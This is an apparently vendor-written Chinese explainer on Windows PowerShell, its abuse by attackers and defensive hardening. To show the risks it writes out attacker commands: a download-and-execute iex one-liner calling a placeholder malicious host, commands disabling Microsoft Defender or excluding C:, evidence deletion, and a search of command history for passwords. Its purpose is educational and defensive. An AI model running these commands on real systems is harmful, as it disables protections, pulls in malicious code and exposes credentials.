
什麼是 Windows PowerShell?
Windows PowerShell 是一款強大的自動化工具。了解其安全影響,以及如何在您的環境中安全地使用它。

Windows PowerShell 是一種功能強大的指令碼語言與命令列 Shell,可用於自動化工作與管理組態。本指南將探討 PowerShell 的功能與能力,包括其在系統管理與安全性中的角色。
了解常見的 PowerShell 命令、指令碼最佳實務,以及如何將 PowerShell 用於資安目的。理解 PowerShell 對 IT 專業人員與安全從業人員而言至關重要。

PowerShell 會如何影響您企業的寶貴資產?了解 PowerShell 的基礎知識、它為何對駭客具有吸引力,以及如何保護企業
Microsoft PowerShell 是一種命令列 Shell 與指令碼語言,用於自動化工作及管理以 Windows 為基礎的系統。管理員與安全專業人員通常會使用它來自動化例行工作、管理與監控系統,以及自動回應安全事件。攻擊者經常使用 PowerShell 來取得對系統的未授權存取並執行惡意程式碼。
Microsoft PowerShell 自 2006 年起即已在 Windows 上提供,但現在它已成為 Windows 10 上 File Explorer 的命令 Shell,並且在很大程度上取代了舊有的 cmd.exe 工具。雖然一般使用者常認為它晦澀難懂,但由於其靈活性與強大功能,PowerShell 已成為 IT 團隊與網路管理員不可或缺的工具。在這份入門指南中,我們將說明 PowerShell 的基礎知識、它為何對駭客與惡意軟體作者具有吸引力,以及您可以採取哪些措施來保護您的組織。
選擇您的版本
如果您在 Cortana 的搜尋欄位中輸入「PowerShell」,將會看到幾個選項:PowerShell ISE 與 PowerShell Desktop app。此外,如果您以滑鼠右鍵按一下開始功能表或任一 PowerShell 的工作列圖示,您會發現有兩種不同方式可啟動任一版本的 PowerShell:以目前使用者身分或以系統管理員身分。

希望自動化常見工作的管理員,可能會使用 ISE 介面來開發 PowerShell 模組與指令碼;但在互動式使用方面,多數人會選擇 PowerShell Desktop app,並依據工作需求以系統管理員或目前使用者身分執行。
您也可能會聽到PowerShell Core,這是一個可跨平台執行的開源版本,不僅可在 Windows 上執行,也可在 Linux 與 macOS 上執行:

不過請留意這一點,因為它會安裝為未簽署的二進位檔,且很容易被惡意冒充者取代。如果您的端點使用 PowerShell Core,請確保您的組織以適當的憑證為其簽署,或定期執行 shasum 檢查,以確保它未遭竄改。
雖然不同版本的 PowerShell 在功能上有一些差異,但它們都能透過 SSH 執行遠端工作階段,並與各式各樣的程序與服務互動。PowerShell 甚至可以與 Windows 登錄與事件記錄互動。而這一切都意味著,能夠存取 PowerShell 的對手也擁有相同的存取權限與優勢。
釋放威力
您可以透過兩個簡單的命令開始了解 PowerShell 的能力:
Get-Module -ListAvailable
用來列出可用模組,以及
Get-Command
用來列出可用命令:

讓我們快速看幾個範例。假設您(或對手)正在文件目錄中移動,並想快速找出其中是否有任何值得注意的內容。如下所示的命令會輸出該目錄中每個文字檔的前兩行與最後兩行,遞迴向下搜尋子目錄,包含任何隱藏或不可見檔案,並將輸出導向另一個文字檔,以供稍後檢視或擷取:
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
如果有人正在尋找可能以「Confidential」開頭,或以作者職稱如「Chief Financial Officer」結尾的文件,這可能會是列舉感興趣項目的「快速且粗略」方法。
刪除項目,例如為了清除任何入侵證據,只需要執行
Remove-Item <path>
PowerShell 也允許使用者以有趣但遺憾的是危險的方式操作作業系統。如果惡意軟體作者想要繞過預先安裝的Microsoft Defender AV 引擎,使用具備適當權限的 PowerShell 命令即可將其停用:
Set-MpPreference -DisableRealTimeMonitoring $true
或者,以較隱匿的方式,將某個磁碟機或路徑排除在其搜尋路徑之外:
Add-MpPreference -ExclusionPath “c:”
PowerShell 也讓攻擊者能輕鬆執行諸如列舉您的網路磁碟機與呼叫事件記錄等操作,這是尋找可利用資訊的實用方式,分別可使用 Get-PSDrive 與 Get-EventLog。

對使用者與惡意行為者都很有用的一項功能,是能夠讀取命令歷程記錄,包括任何傳入的引數,這些命令都是在命令列中以互動方式輸入的。歷程記錄儲存在此命令輸出的路徑中:
(Get-PSReadLineOption).HistorySavePath
而我們可以使用 cat 與 Select-String cmdlet(或其別名 sls)來有效地對命令進行「grep」或搜尋感興趣的項目(例如像密碼!):

指令碼與漏洞利用工具包
然而,在命令列上使用 PowerShell 並不是惡意行為者最佳機會所在。更危險的是,PowerShell 能夠在記憶體中(亦即「無檔案」惡意軟體攻擊)以及從磁碟執行指令碼。這兩者都可以直接在主機上或遠端執行。
如同 Unix shell 的 eval 命令,PowerShell 具有 Invoke-Expression(及其別名 iex),使其能夠在記憶體中下載並執行惡意指令碼。我們可以加入 Bypass 來嘗試規避受限制的執行原則:
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
不令人意外的是,完整利用 PowerShell 潛力的整套漏洞利用框架很快就出現了。
其中首先值得一提的是PowerSploit,這是一組 PowerShell 指令碼集合,可協助操控與控制受害者的機器。

PowerShell Empire 建立在 PowerSploit 與其他數個專案的成果之上,打造出一種後滲透工具,能夠規避網路偵測、執行鍵盤側錄程式,並執行其他模組,例如Mimikatz,以直接從記憶體中擷取明文密碼、密碼雜湊與其他資料。

PowerShell 攻擊的興起
建立可從其他類型的 Windows 檔案、.exe、.bat、.wsf 與 .LNK 執行的 PowerShell 指令碼與 PowerShell 命令,是近年來以 PowerShell 為基礎的惡意軟體持續增加的原因之一。根據一項估計 指出,PowerShell 漏洞利用約占近 40% 的惡意軟體事件,毫無疑問地,對手正將其用於各式各樣的攻擊活動,從勒索軟體到憑證竊取與銀行木馬。PowerShell 也與點擊詐欺、密碼嗅探與資料外洩有關。
DNSMessenger 是一種曾在 Word 文件巨集中被發現傳播的惡意軟體。它巧妙地使用 VBA 原始碼來傳遞經編碼的 PowerShell 命令,以達成持久化、傳送其酬載並與 C&C 伺服器通訊。
令人驚訝的是,有些 PowerShell 攻擊甚至不需要內建的 PowerShell.exe。像是PowerShdll與InsecurePowerShell這類工具,可以利用作為 PowerShell 二進位檔基礎的 System.Management.Automation.dll 直接執行指令碼。簡而言之,PowerShell 可執行檔只是動態連結程式庫中實際程式碼的主機或包裝器。攻擊可利用這一點,實質上讓任何程序都能執行 PowerShell 指令碼與命令。
PowerShell 的其他創意用法包括將 PowerShell 指令碼嵌入 PNG 檔案的像素中,並使用Invoke-PSImage產生單行命令來執行它,或使用像PS2EXE這類工具將 PowerShell 指令碼轉換為 EXE 檔案。
管理 PowerShell
從上述內容來看,應該很清楚,單純封鎖 PowerShell.exe 將會是徒勞無功的,更不用說這會對已經仰賴 PowerShell 功能的系統管理員造成極大負擔。重要的是要理解,PowerShell 及其底層 DLL 是 Windows 作業系統不可或缺的一部分,而隨著 PowerShell Core 的出現,這種能力也延伸到企業可能認為至關重要的跨平台管理機會。
對於處理 PowerShell 雙重特性的有效企業解決方案,例如 SentinelOne,會觀察端點上執行程序的行為。這之所以有效,是因為無論惡意軟體攻擊如何實作,它們的運作方式都相似。SentinelOne 代理程式會監控代理程式上的所有活動,以區分惡意與良性行為。由於代理程式已掌握完整脈絡:使用者、程序、命令列引數、登錄、磁碟上的檔案以及外部通訊,因此無論來源為何,都能緩解惡意活動。
喜歡這篇文章嗎?歡迎在 LinkedIn、Twitter、YouTube 或 Facebook 上追蹤我們,查看我們發布的內容。
閱讀更多關於 Windows 安全性的內容
- Hancitor Banking Trojan 捲土重來 | 利用惡意 Word 附件
- SentinelOne 偵測並阻擋 Powershell CryptoWorm 的新變種
- 新的 Windows 10 檔案類型可被濫用來執行惡意應用程式

AI-Powered Cybersecurity
Elevate your security posture with real-time detection, machine-speed response, and total visibility of your entire digital environment.
Windows PowerShell 常見問題
Windows PowerShell 是 Microsoft 的命令列 Shell 與指令碼語言,建構於 .NET Framework 之上。它可讓您使用 cmdlet——簡單的動詞-名詞命令——來自動化管理檔案系統、登錄和服務等工作。
PowerShell 會處理並傳回物件,而非純文字,因此您可以將結構化資料從一個 cmdlet 透過管線傳遞到下一個 cmdlet。它也支援遠端處理、模組,以及主控台內說明,以進行系統管理。
不同於舊版 CMD,PowerShell 使用動詞-名詞格式的 cmdlet,並處理 .NET 物件而非文字串流。這表示您可以透過管線串接命令,而無需剖析文字。PowerShell 指令碼可直接呼叫 .NET API、提供更豐富的錯誤處理,並支援模組。
傳統 Shell 只能處理純文字和基本批次指令碼,而 PowerShell 則提供完整的指令碼環境,用於自動化與組態設定。
PowerShell 深度整合系統且具備強大的指令碼能力,因此深受管理員與攻擊者青睞。威脅行為者會使用無檔案技術——在記憶體中執行指令碼——來規避偵測。
PowerShell 可停用防禦機制、下載惡意程式碼,或在不接觸磁碟的情況下竊取認證。它在 Windows 中的普及性意味著防禦者必須將 PowerShell 活動視為高風險,並密切監控其是否遭到濫用。
在 Cisco 的一項研究中,PowerShell 涉及超過三分之一的端點重大安全威脅。Carbon Black 報告指出,38% 的事件中存在 PowerShell 濫用,通常出現在橫向移動或認證竊取等利用後行動中。
即使正常使用率不高,PowerShell 仍出現在大約每十四起已確認惡意遭遇中的一起。
啟用所有 PowerShell 記錄:模組記錄、指令碼區塊記錄和轉錄。將日誌大小設定為至少 150 MB,並從下列位置收集事件
Microsoft-Windows-PowerShell/Operational 和 PowerShellCore/Operational。將日誌匯入 SIEM 或 XDR。封鎖來自不受信任父程序的指令碼,並將執行原則限制為僅允許已簽署的指令碼。開啟 Protected Event Logging 以取得額外詳細資訊。
使用 Just Enough Administration (JEA) 將使用者存取限制為僅能使用已核准的 cmdlet。強制啟用受限語言模式,以停用 COM、WMI 和複雜運算式。部署應用程式控制原則(例如 WDAC),將已簽署的指令碼列入允許清單。
將 PowerShell 更新至 v5.1 或更新版本。定期檢閱並調整記錄設定,以確保每次指令碼叫用都會被記錄。
完全封鎖 PowerShell 可能會破壞系統管理與遠端管理功能。Microsoft 不建議直接移除。相反地,應將執行權限限制於授權管理員、強制執行應用程式控制,並限制 PowerShell 不得由 Office 應用程式等不受信任的父程序啟動。
結合記錄與監控後,這些控制措施可在不削弱合法作業的情況下,阻止大多數惡意使用行為。
PowerShell 可讓防禦者自動化事件回應、快速收集鑑識資料,以及進行威脅狩獵。您可以撰寫指令碼,在幾分鐘內收集登錄成品、程序清單和網路連線。學習 PowerShell 也有助於理解攻擊者技術,因為許多利用後工具(Empire、Cobalt Strike)底層都使用 PowerShell。
PowerShell 指令碼可擷取即時記憶體、登錄執行機碼、事件日誌和網路資料,以供初步分類。像 DFIR-Script 這類社群工具可自動化跨端點的證據收集。獵捕人員會使用 PowerShell 查詢 Windows Event ID 4104 中的惡意指令碼區塊、剖析輸出,並將結果匯入 SOAR 劇本。這使 PowerShell 成為偵測、遏制與修復工作流程的核心組成部分。


